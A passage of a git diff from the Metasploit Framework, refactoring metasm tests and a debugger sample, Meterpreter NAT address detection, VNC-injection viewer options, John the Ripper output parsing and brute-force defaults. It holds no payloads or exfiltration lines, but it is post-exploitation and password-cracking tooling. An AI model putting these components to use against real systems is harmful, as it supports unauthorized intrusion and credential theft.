@symbols_len[s_].to_i > k } - file + @symbols[s] + (s == k ? '' : "+#{(k-s).to_s(16)}") - else - file + ('%08x' % k) - end - end - - def set_hwbp(type, addr, len=1) - dr = (0..3).find { |dr_| @regs_cache['dr7'] & (1 << (2*dr_)) == 0 and @wantbp != "dr#{dr}" } - if not dr - log 'no debug reg available :(' - return false - end - @regs_cache['dr7'] &= 0xffff_ffff ^ (0xf << (16+4*dr)) - case type - when 'x'; addr += (@has_pax == 'segmexec' ? 0x6000_0000 : 0) - when 'r'; @regs_cache['dr7'] |= (((len-1)<<2)|3) << (16+4*dr) - when 'w'; @regs_cache['dr7'] |= (((len-1)<<2)|1) << (16+4*dr) - end - send("dr#{dr}=", addr) - self.dr6 = 0 - self.dr7 = @regs_cache['dr7'] | (1 << (2*dr)) - readregs - true - end - - def clearbreaks - @wantbp = nil if @wantbp == @regs_cache['eip'] - @breakpoints.each { |addr, oct| self[addr, 1] = oct } - @breakpoints.clear - if @regs_cache['dr7'] & 0xff != 0 - self.dr7 = 0 - readregs - end - end - - def loadsyms(baseaddr, name) - @loadedsyms ||= {} - return if @loadedsyms[name] or self[baseaddr, 4] != "\x7fELF" - @loadedsyms[name] = true - - set_status " loading symbols from #{name}..." - e = Metasm::LoadedELF.load self[baseaddr, 0x100_0000] - e.load_address = baseaddr - begin - e.decode - #e = Metasm::ELF.decode_file name rescue return # read from disk - rescue - log "failed to load symbols from #{name}: #$!" - ($!.backtrace - caller).each { |l| log l.chomp } - @filemap[baseaddr.to_s(16)] = [baseaddr, baseaddr+0x1000] - return - end - - if e.tag['SONAME'] - name = e.tag['SONAME'] - return if name and @loadedsyms[name] - @loadedsyms[name] = true - end - - last_s = e.segments.reverse.find { |s| s.type == 'LOAD' } - vlen = last_s.vaddr + last_s.memsz - vlen -= baseaddr if e.header.type == 'EXEC' - @filemap[name] = [baseaddr, baseaddr + vlen] - - oldsyms = @symbols.length - e.symbols.each { |s| - next if not s.name or s.shndx == 'UNDEF' - sname = s.name - sname = 'weak_'+sname if s.bind == 'WEAK' - sname = 'local_'+sname if s.bind == 'LOCAL' - v = s.value - v = baseaddr + v if v < baseaddr - @symbols[v] = sname - @symbols_len[v] = s.size - } - if e.header.type == 'EXEC' - @symbols[e.header.entry] = 'entrypoint' - end - set_status nil - log "loaded #{@symbols.length-oldsyms} symbols from #{name} at #{'%08x' % baseaddr}" - end - - def loadallsyms - File.read("/proc/#{@pid}/maps").each { |l| - name = l.split[5] - loadsyms l.to_i(16), name if name and name[0] == ?/ - } - end - - def loadmap(mapfile) - # file fmt: addr type name eg 'c01001ba t setup_idt' - minaddr = maxaddr = nil - File.read(mapfile).each { |l| - addr, type, name = l.chomp.split - addr = addr.to_i(16) - minaddr = addr if not minaddr or minaddr > addr - maxaddr = addr if not maxaddr or maxaddr < addr - @symbols[addr] = name - } - if minaddr - @filemap[minaddr.to_s(16)] = [minaddr, maxaddr+1] - end - end - - def scansyms - addr = 0 - fd = @pgm.encoded.data.readfd - while addr <= 0xffff_f000 - addr = 0xc000_0000 if @has_pax and addr == 0x6000_0000 - log "scansym: #{'%08x' % addr}" if addr & 0x0fff_ffff == 0 - fd.pos = addr - loadsyms(addr, '%08x'%addr) if (fd.read(4) == "\x7fELF" rescue false) - addr += 0x1000 - end - end - - def backtrace - s = findsymbol(@regs_cache['eip']) - if block_given? - yield s - else - bt = [] - bt << s - end - fp = @regs_cache['ebp'] - while fp >= @regs_cache['esp'] and fp <= @regs_cache['esp']+0x10000 - s = findsymbol(self[fp+4, 4].unpack('L').first) - if block_given? - yield s - else - bt << s - end - fp = self[fp, 4].unpack('L').first - end - bt - end - - def [](addr, len=nil) - @pgm.encoded.data[addr, len] - end - def []=(addr, len, str=nil) - @pgm.encoded.data[addr, len] = str - end - - attr_accessor :logger - def log(s) - @logger ||= $stdout - @logger.puts s - end - - # set a temporary status info (nil for default value) - def set_status(s) - @logger ||= $stdout - if @logger != $stdout - @logger.statusline = s - else - s ||= ' '*72 - @logger.print s + "\r" - @logger.flush - end - end -end - -if $0 == __FILE__ - # start debugging - rs = Rubstop.new(ARGV.shift) - - begin - while rs.child.stopped? and rs.child.stopsig == Signal.list['TRAP'] - if $VERBOSE - puts "#{'%08x' % rs.eip} #{rs.mnemonic}" - rs.singlestep - else - rs.syscall ; rs.syscall # wait return of syscall - puts "#{rs.orig_eax.to_s.ljust(3)} #{rs.syscallnr.index rs.orig_eax}" - end - end - p rs.child - puts rs.regs_dump - rescue Interrupt - rs.detach rescue nil - puts 'interrupted!' - rescue Errno::ESRCH - end -end diff --git a/lib/metasm/samples/struct_offset.rb b/lib/metasm/samples/struct_offset.rb index f285a164df..cd6f13f2db 100644 --- a/lib/metasm/samples/struct_offset.rb +++ b/lib/metasm/samples/struct_offset.rb @@ -43,17 +43,5 @@ cp.parse_file(ARGV.shift) $stdout.reopen File.open(opts[:outfile], 'w') if opts[:outfile] ARGV.each { |structname| - st = cp.toplevel.struct[structname] || cp.toplevel.symbol[structname] - st = st.type while st.kind_of? Metasm::C::Pointer or st.kind_of? Metasm::C::TypeDef - if not st.kind_of? C::Struct - puts "// unknown #{structname}", '' - next - end - - puts "// #{structname}" if not st.name - puts "struct #{st.name} { // size = #{cp.sizeof(st).to_s(opts[:offbase])}" - st.members.each { |m| - puts "\t#{m.type.to_s[1..-2]} #{m.name if m.name}; // +#{st.offsetof(cp, m.name).to_s(opts[:offbase])}" - } - puts '};', '' + puts cp.alloc_c_struct(structname) } diff --git a/lib/metasm/tests/all.rb b/lib/metasm/tests/all.rb index 9241608854..9f8e8df710 100644 --- a/lib/metasm/tests/all.rb +++ b/lib/metasm/tests/all.rb @@ -4,5 +4,5 @@ # Licence is LGPL, see LICENCE in the top-level directory -Dir['tests/*.rb'].each { |f| require f } +Dir['tests/*.rb'].sort.each { |f| require f } diff --git a/lib/metasm/tests/arc.rb b/lib/metasm/tests/arc.rb new file mode 100644 index 0000000000..26cee93ddd --- /dev/null +++ b/lib/metasm/tests/arc.rb @@ -0,0 +1,26 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + +require 'test/unit' +require 'metasm' + +class TestArc < Test::Unit::TestCase + def test_arc_dec + hex_stream = "\x0A\x23\x80\x0F\x80\x0\x60\x0D" # mov r3, 0x800D60 + hex_stream += "\x40\x83" # ld_s r2, [r3, 0] + + dasm = Metasm::Shellcode.disassemble(Metasm::ARC.new, hex_stream) + assert_equal(2, dasm.decoded.length) + + assert_equal('mov', dasm.decoded[0].instruction.opname) + assert_equal('r3', dasm.decoded[0].instruction.args[0].to_s) + assert_equal(0x800d60, dasm.decoded[0].instruction.args[1].reduce) + + assert_equal('ld_s', dasm.decoded[8].instruction.opname) + assert_equal('r2', dasm.decoded[8].instruction.args[0].to_s) + assert_equal('r3', dasm.decoded[8].instruction.args[1].base.to_s) + assert_equal(0, dasm.decoded[8].instruction.args[1].disp.reduce) + end +end diff --git a/lib/metasm/tests/dynldr.rb b/lib/metasm/tests/dynldr.rb index be7f29a434..21debb6d33 100644 --- a/lib/metasm/tests/dynldr.rb +++ b/lib/metasm/tests/dynldr.rb @@ -7,29 +7,47 @@ require 'test/unit' require 'metasm' class TestDynldr < Test::Unit::TestCase + def d; Metasm::DynLdr; end - def test_dynldr + def test_new_api_c str = "1234" - d = Metasm::DynLdr d.new_api_c('int memcpy(char*, char*, int)') d.memcpy(str, "9999", 2) assert_equal('9934', str) + end + def test_new_func_c c_src = <>, 8], :&, 0xff], :<<, 8].reduce) + + assert_equal(E[[:a, :>>, 1], :&, 0xff0], E[[[:a, :>>, 5], :&, 0xff], :<<, 4].reduce) + + assert_equal(0, E[[:a, :&, 0xff00], :&, [:b, :&, 0xff]].reduce) + assert_equal(0, E[[:a, :&, 0xff], :>>, 8].reduce) + + assert_equal(E[:a, :&, 0xffff], E[[:a, :&, 0x3333], :|, [[:a, :&, 0x8888], :+, [:a, :&, 0x4444]]].reduce) + + assert_equal(E[:a, :&, 0xff], E[[:a, :|, [:b, :&, 0xff00]], :&, 0xff].reduce) + + assert_equal(1, E[[2, :>, 1], :'||', [:a, :<=, :b]].reduce) + assert_equal(0, E[[:a, :>, :b], :'&&', [1, :>, 2]].reduce) + + assert_equal(E[:a, :>, :b], E[[:'!', [:a, :<=, :b]], :==, 1].reduce) + end + + def test_pattern + pat = E[:a, :+, [:b, :&, 0xffff]].match(E['a', :|, 'b'], 'a', 'b') + assert_equal(false, pat) + + pat = E[:a, :+, [:b, :&, 0xffff]].match(E['a', :+, 'b'], 'a', 'b') + assert_equal(:a, pat['a']) + p2 = pat['b'].match(E[:a, :b, :c], :a, :b, :c) + assert_equal(0xffff, p2[:c]) + assert_equal(:&, p2[:b]) + end +end diff --git a/lib/metasm/tests/graph_layout.rb b/lib/metasm/tests/graph_layout.rb new file mode 100644 index 0000000000..24eb7c129e --- /dev/null +++ b/lib/metasm/tests/graph_layout.rb @@ -0,0 +1,285 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +# special file to test the graph layout engine +# call this file directly to run + +require 'metasm' +include Metasm + +def test_layout(lo) + $cur ||= 0 + $cur += 1 + if $target.to_i != 0 + return if $cur != $target + else + return if not lo.include? $target + end if $target + puts $cur, lo, '' if $VERBOSE + w = Gui::Window.new + ww = w.widget = Gui::GraphViewWidget.new(nil, nil) + ww.grab_focus + Gui.idle_add { + ww.load_dot(lo) + ww.curcontext.auto_arrange_boxes + ww.zoom_all + false + } + Gui.main +end + +def test_all + test_layout < 2 -> 3 -> 4 -> 5 -> 6 -> 7; +EOS + test_layout < 1; +sep2 -> 2; +sep3 -> 3; +sep4 -> 4; +sep5 -> 5; +EOS + test_layout < 2 -> 3; +2 -> 4; +EOS + test_layout < 2 -> 3 -> 5; +2 -> 4 -> 5; +EOS + test_layout < 2 -> 3 -> 4; +2 -> 4; +EOS + test_layout < 2 -> 3; +1 -> 2; +EOS + test_layout < 2 -> 31 -> 32 -> 34 -> 5 -> 6 -> 8; +2 -> 41 -> 42 -> 44 -> 5 -> 7 -> 8; +41 -> 43 -> 44; +31 -> 33 -> 34; +EOS + test_layout < 2 -> 3a -> 4; +2 -> 3b -> 4; +3a -> 4a; +3b -> 4b; +EOS + test_layout < 2 -> 8; +2 -> 3 -> 8; +2 -> 4 -> 5 -> 8; +2 -> 6 -> 7 -> 8; +EOS + test_layout < 2 -> 3; +2 -> 4; +2 -> 5; +2 -> 6; +2 -> 7; +2 -> 8; +EOS + test_layout < 1 -> 2; +1 -> 3333333333333333333333333333333333; +EOS + test_layout < 1 +1 -> a2 -> a3 +a2 -> a222222222 -> a3 +1 -> b2 -> b3 +b2 -> b222222222 -> b3 +EOS + test_layout < 1 -> 2 -> 3 -> 4 -> 5 +4 -> eeeeeeeeeeee -> 5 +EOS + test_layout < 1 -> 22222222222222222222222222 -> e +1 -> 33333333333333333333333333 -> e +1 -> 4444444444444444444444 -> e +1 -> 5 -> e +5 -> 5t -> e +1 -> 6 -> e +6 -> 6t -> e +1 -> 7 -> e +7 -> 7t -> e +EOS + test_layout < 2 -> 11 -> 12 -> 13 -> 4; +2 -> 21 -> 22 -> 23 -> 4; +2 -> 31 -> 32 -> 33 -> 4; +21 -> 2z; +31 -> 3z; +EOS + test_layout < 2 -> 11 -> 12 -> 13; +2 -> 21 -> 22 -> 13; +2 -> 31 -> 32 -> 33; +22 -> 33; +21 -> z; +EOS + test_layout < 2 -> 3 -> 4 -> 5 -> 6 -> 62 -> 52 -> 42 -> 32 -> 22 -> e; +2 -> 21 -> 22; +3 -> 31 -> 32; +4 -> 41 -> 42; +5 -> 51 -> 52; +6 -> 61 -> 62; +EOS + test_layout < 2 -> 3 -> 4 -> 5 -> 6 -> 7 -> e; +2 -> 21 -> e; +3 -> 31 -> e; +4 -> 41 -> e; +5 -> 51 -> e; +6 -> 61 -> e; +EOS + test_layout < 2 -> 3 -> 4 -> 5 -> 6; +2 -> 4; +2 -> 5; +2 -> 6; +EOS + test_layout < 2a -> 3 -> 4 -> 5 -> 6; +drstair -> 2b -> 4; +2a -> 4; +2a -> 5; +2a -> 6; +2b -> 4; +2b -> 5; +2b -> 6; +EOS + test_layout < 2a -> 3a -> 4a -> 5a -> 6a; +mrstair -> 2b -> 4a; +2a -> 4a; +2a -> 5a; +2a -> 6a; +2b -> 4a; +2b -> 5a; +2b -> 6a; +2a -> 3b -> 4b -> 5b -> 6b; +2a -> 4b; +2a -> 5b; +2a -> 6b; +2b -> 3b; +2b -> 4b; +2b -> 5b; +2b -> 6b; +EOS + test_layout < 2 -> 3 -> 4; +3 -> 2; +EOS + test_layout < 2 -> 3 -> e; +2 -> 4 -> 5 -> 6 -> 8 -> e; +5 -> 7 -> 4; +EOS + test_layout < 2 -> 3 -> e; +2 -> 4 -> 5 -> 6 -> 8 -> e; +5 -> 7 -> 4; +7 -> 8; +EOS + test_layout < 2 -> 3 -> 4 -> 5 -> e; +2 -> 6 -> 7 -> 8 -> 9 -> 10 -> 11 -> 12 -> e; +EOS + test_layout < 2 -> 3 -> e; +2 -> 4 -> e; +2 -> 5 -> e; +2 -> 6 -> 7 -> 8 -> 9 -> 10 -> 11 -> 12 -> e; +EOS + test_layout < 2 -> 3 -> e; +2 -> 4 -> e; +2 -> 5 -> e; +2 -> 6 -> e; +8 -> 9 -> e; +2 -> 7 -> e; +EOS + test_layout < 1 -> 2 -> 3 -> 4 -> 5 -> 6; +l1 -> l2; +l1 -> l3; +l1 -> l4; +l1 -> l5; +l1 -> l6; +EOS + + test_layout < 2 -> 31 -> 41 -> 5; +2 -> 32 -> 42 -> 5; +31 -> 42; +41 -> 32; +EOS + test_layout < 2 -> 3 -> 4 -> 5 -> 6 -> 7 -> e; +6 -> 4; +7 -> 3; +EOS + test_layout < 2 -> 3 -> 4 -> 5 -> 6 -> 7 -> 8; +2 -> 21; +4 -> 6; +EOS + test_layout < 1 -> loophead; +2 -> 3 -> 2; +3 -> 4; +1 -> 4; +EOS + test_layout < e1; +l00pz -> 1 -> l00pz; +l2 -> 2 -> l2; +2 -> e1; +2 -> e2; +l3 -> 3 -> l3; +3 -> e2; +EOS + test_layout < 1 -> 3loop; +1 -> 2 -> 3 -> 2; +0 -> 00 -> 0 -> 2; +EOS + test_layout < 0 -> 1 +0 -> 2 -> 3 -> 4 -> 5 +4 -> 6 +4 -> 7 -> 5 +4 -> 8 -> 6 +2 -> 1 -> 7 +3 -> 1 -> 8 +EOS + test_layout < 2 -> 3 -> 4 -> 5 -> 6 -> 4; +2 -> 9; +5 -> 9; +EOS + test_layout < 2 -> 3 -> 4 -> 5 -> 6 -> 4 +2 -> 9 +5 -> 9 +9 -> a -> 9 +EOS + test_layout < onlyloop +EOS + +rescue Interrupt +end + +if __FILE__ == $0 + $target = ARGV[0] + test_all +end diff --git a/lib/metasm/tests/ia32.rb b/lib/metasm/tests/ia32.rb index fc1da82a2d..e4d990b1ed 100644 --- a/lib/metasm/tests/ia32.rb +++ b/lib/metasm/tests/ia32.rb @@ -44,6 +44,17 @@ class TestIa32 < Test::Unit::TestCase assert_equal(assemble("jmp.i32 $"), "\xe9\xfb\xff\xff\xff") end + def test_opsz + assert_equal(assemble("cbw"), "\x66\x98") + assert_equal(assemble("cwde"), "\x98") + + assert_equal(assemble("cbw", @@cpu16), "\x98") + assert_equal(assemble("cwde", @@cpu16), "\x66\x98") + + assert_equal(assemble("cmpxchg8b [eax]"), "\x0f\xc7\x08") + assert_equal(assemble("cmpxchg8b [bx]", @@cpu16), "\x66\x0f\xc7\x0f") + end + def test_mrmsz assert_equal(assemble("mov [eax], ebx"), "\x89\x18") assert_equal(assemble("mov [eax], bl"), "\x88\x18") @@ -77,6 +88,23 @@ class TestIa32 < Test::Unit::TestCase d = disassemble("\x90") assert_equal(d.decoded[0].class, Metasm::DecodedInstruction) assert_equal(d.decoded[0].opcode.name, "nop") + + assert_equal(disassemble("\x66\x0f\xc7\x08").decoded[0], nil) + assert_equal(disassemble("\x0f\xc7\x08").decoded[0].opcode.name, "cmpxchg8b") end + def test_pfx + assert_equal(assemble("nop"), "\x90") + assert_equal(assemble("pause"), "\xf3\x90") + assert_equal(disassemble("\x90").decoded.values.first.opcode.name, "nop") + assert_equal(disassemble("\xf3\x90").decoded.values.first.opcode.name, "pause") + end + + def test_avx + assert_equal(disassemble("\xc4\xc3\x75\x42\xc2\x03").decoded[0].instruction.to_s, "vmpsadbw ymm0, ymm1, ymm2, 3") + assert_equal(assemble("vmpsadbw ymm0, ymm1, ymm2, 3"), "\xc4\xc3\x75\x42\xc2\x03") + assert_equal(assemble("vpblendvb xmm1, xmm2, xmm3, xmm4"), "\xc4\xc3\x69\x4c\xcb\x40") + assert_equal(assemble("vgatherdpd xmm1, qword ptr [edx+xmm1], xmm2"), "\xc4\xc2\xe9\x92\x0c\x0a") + assert_equal(disassemble("\xc4\xc2\xe9\x92\x0c\x0a").decoded[0].instruction.to_s, "vgatherdpd xmm1, qword ptr [edx+xmm1], xmm2") + end end diff --git a/lib/metasm/tests/parse_c.rb b/lib/metasm/tests/parse_c.rb index dd3afa1780..3fb412bcef 100644 --- a/lib/metasm/tests/parse_c.rb +++ b/lib/metasm/tests/parse_c.rb @@ -36,6 +36,12 @@ class TestDynldr < Test::Unit::TestCase assert_raise(Metasm::ParseError) { cp.parse("long long long fu;") } cp.readtok until cp.eos? + assert_raise(Metasm::ParseError) { cp.parse("void badarg(int i, int i) {}") } + cp.readtok until cp.eos? + + assert_raise(Metasm::ParseError) { cp.parse("struct strun; union strun;") } + cp.readtok until cp.eos? + assert_raise(Metasm::ParseError) { cp.parse < :size) - assert_equal(12, s.length) + assert_equal(12, s.sizeof) assert_equal(12, s.i) assert_raise(RuntimeError) { s.l = 42 } assert_nothing_raised { s.j = 0x12345678 } @@ -165,4 +192,48 @@ EOS assert_equal(4, s.inner.stroff) assert_equal("0C0000007856341233333333", s.str.unpack('H*')[0].upcase) end + + def test_cmpstruct +st = < 0 - nhost = iface.first.ip - end - end - end + nhost = find_internet_connected_address + original_session_host = self.session_host # If we found a better IP address for this session, change it up # only handle cases where the DB is not connected here - if not (framework.db and framework.db.active) + if !(framework.db && framework.db.active) self.session_host = nhost end - # The rest of this requires a database, so bail if it's not # there - return if not (framework.db and framework.db.active) + return if !(framework.db && framework.db.active) ::ActiveRecord::Base.connection_pool.with_connection { wspace = framework.db.find_workspace(workspace) @@ -384,18 +352,18 @@ class Meterpreter < Rex::Post::Meterpreter::Client if nhost framework.db.report_note({ :type => "host.nat.server", - :host => shost, + :host => original_session_host, :workspace => wspace, :data => { :info => "This device is acting as a NAT gateway for #{nhost}", :client => nhost }, :update => :unique_data }) - framework.db.report_host(:host => shost, :purpose => 'firewall' ) + framework.db.report_host(:host => original_session_host, :purpose => 'firewall' ) framework.db.report_note({ :type => "host.nat.client", :host => nhost, :workspace => wspace, - :data => { :info => "This device is traversing NAT gateway #{shost}", :server => shost }, + :data => { :info => "This device is traversing NAT gateway #{original_session_host}", :server => original_session_host }, :update => :unique_data }) framework.db.report_host(:host => nhost, :purpose => 'client' ) @@ -428,7 +396,7 @@ class Meterpreter < Rex::Post::Meterpreter::Client console.interact { self.interacting != true } # If the stop flag has been set, then that means the user exited. Raise - # the EOFError so we can drop this bitch like a bad habit. + # the EOFError so we can drop this handle like a bad habit. raise EOFError if (console.stopped? == true) end @@ -470,6 +438,60 @@ protected attr_accessor :rstream # :nodoc: + # Rummage through this host's routes and interfaces looking for an + # address that it uses to talk to the internet. + # + # @see Rex::Post::Meterpreter::Extensions::Stdapi::Net::Config#get_interfaces + # @see Rex::Post::Meterpreter::Extensions::Stdapi::Net::Config#get_routes + # @return [String] The address from which this host reaches the + # internet, as ASCII. e.g.: "192.168.100.156" + def find_internet_connected_address + + ifaces = self.net.config.get_interfaces().flatten rescue [] + routes = self.net.config.get_routes().flatten rescue [] + + # Try to match our visible IP to a real interface + found = !!(ifaces.find { |i| i.addrs.find { |a| a == session_host } }) + nhost = nil + + # If the host has no address that matches what we see, then one of + # us is behind NAT so we have to look harder. + if !found + # Grab all routes to the internet + default_routes = routes.select { |r| r.subnet == "0.0.0.0" || r.subnet == "::" } + + default_routes.each do |route| + # Now try to find an interface whose network includes this + # Route's gateway, which means it's the one the host uses to get + # to the interweb. + ifaces.each do |i| + # Try all the addresses this interface has configured + addr_and_mask = i.addrs.zip(i.netmasks).find do |addr, netmask| + bits = Rex::Socket.net2bitmask( netmask ) + range = Rex::Socket::RangeWalker.new("#{addr}/#{bits}") rescue nil + + !!(range && range.valid? && range.include?(route.gateway)) + end + if addr_and_mask + nhost = addr_and_mask[0] + break + end + end + break if nhost + end + + if !nhost + # Find the first non-loopback address + non_loopback = ifaces.find { |i| i.ip != "127.0.0.1" && i.ip != "::1" } + if non_loopback + nhost = non_loopback.ip + end + end + end + + nhost + end + end end diff --git a/lib/msf/base/sessions/vncinject.rb b/lib/msf/base/sessions/vncinject.rb index e4be177c22..eaa7decf8f 100644 --- a/lib/msf/base/sessions/vncinject.rb +++ b/lib/msf/base/sessions/vncinject.rb @@ -152,14 +152,18 @@ class VncInject # Note that this says nothing about whether it worked, only that we found # the file. # - def autovnc + def autovnc(viewonly=true) vnc = Rex::FileUtils::find_full_path('vncviewer') || Rex::FileUtils::find_full_path('vncviewer.exe') if (vnc) + args = [] + args.push '-viewonly' if viewonly + args.push "#{vlhost}::#{vlport}" + self.view = framework.threads.spawn("VncViewerWrapper", false) { - system("vncviewer #{vlhost}::#{vlport}") + system(vnc, *args) } return true diff --git a/lib/msf/base/sessions/vncinject_options.rb b/lib/msf/base/sessions/vncinject_options.rb index f110772c9b..05962133fc 100644 --- a/lib/msf/base/sessions/vncinject_options.rb +++ b/lib/msf/base/sessions/vncinject_options.rb @@ -22,6 +22,18 @@ module VncInjectOptions "The local host to use for the VNC proxy", '127.0.0.1' ]), + OptBool.new('DisableCourtesyShell', + [ + false, + "Disables the Metasploit Courtesy shell", + true + ]), + OptBool.new('ViewOnly', + [ + false, + "Runs the viewer in view mode", + true + ]), OptBool.new('AUTOVNC', [ true, @@ -32,12 +44,6 @@ module VncInjectOptions register_advanced_options( [ - OptBool.new('DisableCourtesyShell', - [ - false, - "Disables the Metasploit Courtesy shell", - false - ]), OptBool.new('DisableSessionTracking', [ false, @@ -79,7 +85,7 @@ module VncInjectOptions # If the AUTOVNC flag is set, launch VNC viewer. if (datastore['AUTOVNC'] == true) - if (session.autovnc) + if (session.autovnc(datastore['ViewOnly'])) print_status("Launched vncviewer.") else print_error("Failed to launch vncviewer. Is it installed and in your path?") diff --git a/lib/msf/base/simple/framework.rb b/lib/msf/base/simple/framework.rb index bf0a1e7567..ff45da2aa2 100644 --- a/lib/msf/base/simple/framework.rb +++ b/lib/msf/base/simple/framework.rb @@ -100,7 +100,7 @@ module Framework # Initialize configuration and logging Msf::Config.init - Msf::Logging.init + Msf::Logging.init unless opts['DisableLogging'] # Load the configuration framework.load_config diff --git a/lib/msf/base/simple/post.rb b/lib/msf/base/simple/post.rb index c8922697a5..9cda2a1338 100644 --- a/lib/msf/base/simple/post.rb +++ b/lib/msf/base/simple/post.rb @@ -89,7 +89,7 @@ protected # # Job run proc, sets up the module and kicks it off. # - # XXX: Mostly Copy/pasted from simple/auxiliarly.rb + # XXX: Mostly Copy/pasted from simple/auxiliary.rb # def self.job_run_proc(ctx) mod = ctx[0] @@ -99,9 +99,15 @@ protected # Grab the session object since we need to fire an event for not # only the normal module_run event that all module types have to # report, but a specific event for sessions as well. - s = mod.framework.sessions[mod.datastore["SESSION"]] - mod.framework.events.on_session_module_run(s, mod) - mod.run + s = mod.framework.sessions.get(mod.datastore["SESSION"]) + if s + mod.framework.events.on_session_module_run(s, mod) + mod.run + else + mod.print_error("Session not found") + mod.cleanup + return + end rescue ::Timeout::Error => e mod.error = e mod.print_error("Post triggered a timeout exception") @@ -135,7 +141,7 @@ protected # # Clean up the module after the job completes. # - # Copy/pasted from simple/auxiliarly.rb + # Copy/pasted from simple/auxiliary.rb # def self.job_cleanup_proc(ctx) mod = ctx[0] diff --git a/lib/msf/core/auxiliary/auth_brute.rb b/lib/msf/core/auxiliary/auth_brute.rb index 2570106243..dc70d93349 100644 --- a/lib/msf/core/auxiliary/auth_brute.rb +++ b/lib/msf/core/auxiliary/auth_brute.rb @@ -20,8 +20,8 @@ module Auxiliary::AuthBrute OptPath.new('USERPASS_FILE', [ false, "File containing users and passwords separated by space, one pair per line" ]), OptInt.new('BRUTEFORCE_SPEED', [ true, "How fast to bruteforce, from 0 to 5", 5]), OptBool.new('VERBOSE', [ true, "Whether to print output for all attempts", true]), - OptBool.new('BLANK_PASSWORDS', [ false, "Try blank passwords for all users", true]), - OptBool.new('USER_AS_PASS', [ false, "Try the username as the password for all users", true]), + OptBool.new('BLANK_PASSWORDS', [ false, "Try blank passwords for all users", false]), + OptBool.new('USER_AS_PASS', [ false, "Try the username as the password for all users", false]), OptBool.new('DB_ALL_CREDS', [false,"Try each user/password couple stored in the current database",false]), OptBool.new('DB_ALL_USERS', [false,"Add all users in the current database to the list",false]), OptBool.new('DB_ALL_PASS', [false,"Add all passwords in the current database to the list",false]), diff --git a/lib/msf/core/auxiliary/jtr.rb b/lib/msf/core/auxiliary/jtr.rb index c1053918eb..db7af6a43f 100644 --- a/lib/msf/core/auxiliary/jtr.rb +++ b/lib/msf/core/auxiliary/jtr.rb @@ -135,14 +135,20 @@ module Auxiliary::JohnTheRipper ::IO.popen(cmd, "rb") do |fd| fd.each_line do |line| + line.chomp! print_status(line) if line =~ /(\d+) password hash(es)* cracked, (\d+) left/m res[:cracked] = $1.to_i res[:uncracked] = $2.to_i end - bits = line.split(':') + # XXX: If the password had : characters in it, we're screwed + + bits = line.split(':', -1) + + # Skip blank passwords next if not bits[2] + if (format== 'lm' or format == 'nt') res[ :users ][ bits[0] ] = bits[1] else @@ -201,7 +207,14 @@ module Auxiliary::JohnTheRipper end def john_wordlist_path - ::File.join(john_base_path, "wordlists", "password.lst") + # We ship it under wordlists/ + path = ::File.join(john_base_path, "wordlists", "password.lst") + # magnumripper/JohnTheRipper repo keeps it under run/ + unless ::File.file? path + path = ::File.join(john_base_path, "run", "password.lst") + end + + path end def john_binary_path @@ -209,6 +222,7 @@ module Auxiliary::JohnTheRipper if datastore['JOHN_PATH'] and ::File.file?(datastore['JOHN_PATH']) path = datastore['JOHN_PATH'] ::FileUtils.chmod(0755, path) rescue nil + return path end if not @run_path diff --git a/lib/msf/core/auxiliary/nmap.rb b/lib/msf/core/auxiliary/nmap.rb index 8d60cd9a12..fd32b94b0d 100644 --- a/lib/msf/core/auxiliary/nmap.rb +++ b/lib/msf/core/auxiliary/nmap.rb @@ -184,7 +184,6 @@ def nmap_validate_rports if datastore['RPORT'] && (datastore['RPORT'].kind_of?(Fixnum) || !datastore['RPORT'].empty?) return true end - bad_port = false if rports.nil? || rports.empty? print_error "Missing RPORTS" return false @@ -193,14 +192,10 @@ def nmap_validate_rports if r =~ /^([TU]:)?[0-9]*-?[0-9]*$/ next else - bad_port = true - break + print_error "Malformed nmap port: #{r}" + return false end end - if bad_port - print_error "Malformed nmap port: #{r}" - return false - end print_status "Using RPORTS range #{datastore['RPORTS']}" return true end @@ -246,7 +241,7 @@ def nmap_hosts(&block) fh = self.nmap_log[0] nmap_data = fh.read(fh.stat.size) # fh.unlink - if Rex::Parser.nokogiri_loaded + if Rex::Parser.nokogiri_loaded && framework.db.active wspace = framework.db.find_workspace(datastore['WORKSPACE']) wspace ||= framework.db.workspace import_args = { :data => nmap_data, :wspace => wspace } diff --git a/lib/msf/core/auxiliary/scanner.rb b/lib/msf/core/auxiliary/scanner.rb index e08efc4ef1..fade61b0ea 100644 --- a/lib/msf/core/auxiliary/scanner.rb +++ b/lib/msf/core/auxiliary/scanner.rb @@ -32,6 +32,16 @@ def initialize(info = {}) end +def check + nmod = replicant + begin + nmod.check_host(datastore['RHOST']) + rescue NoMethodError + Exploit::CheckCode::Unsupported + end +end + + # # The command handler when launched from the console # @@ -79,7 +89,7 @@ def run @tl = [] - while (true) + loop do # Spawn threads for each host while (@tl.length < threads_max) ip = ar.next_ip diff --git a/lib/msf/core/db.rb b/lib/msf/core/db.rb index ef92dcb7da..c74b205f0b 100644 --- a/lib/msf/core/db.rb +++ b/lib/msf/core/db.rb @@ -1547,9 +1547,9 @@ class DBManager ret = {} - #Check to see if the creds already exist. We look also for a downcased username with the - #same password because we can fairly safely assume they are not in fact two seperate creds. - #this allows us to hedge against duplication of creds in the DB. + # Check to see if the creds already exist. We look also for a downcased username with the + # same password because we can fairly safely assume they are not in fact two seperate creds. + # this allows us to hedge against duplication of creds in the DB. if duplicate_ok # If duplicate usernames are okay, find by both user and password (allows @@ -2092,25 +2092,16 @@ class DBManager loot.service_id = opts[:service][:id] end - loot.path = path - loot.ltype = ltype + loot.path = path + loot.ltype = ltype loot.content_type = ctype - loot.data = data - loot.name = name if name - loot.info = info if info + loot.data = data + loot.name = name if name + loot.info = info if info + loot.workspace = wspace msf_import_timestamps(opts,loot) loot.save! - if !opts[:created_at] -=begin - if host - host.updated_at = host.created_at - host.state = HostState::Alive - host.save! - end -=end - end - ret[:loot] = loot } end @@ -2932,21 +2923,26 @@ class DBManager def import_filetype_detect(data) if data and data.kind_of? Zip::ZipFile - raise DBImportError.new("The zip file provided is empty.") if data.entries.empty? + if data.entries.empty? + raise DBImportError.new("The zip file provided is empty.") + end + @import_filedata ||= {} @import_filedata[:zip_filename] = File.split(data.to_s).last @import_filedata[:zip_basename] = @import_filedata[:zip_filename].gsub(/\.zip$/,"") 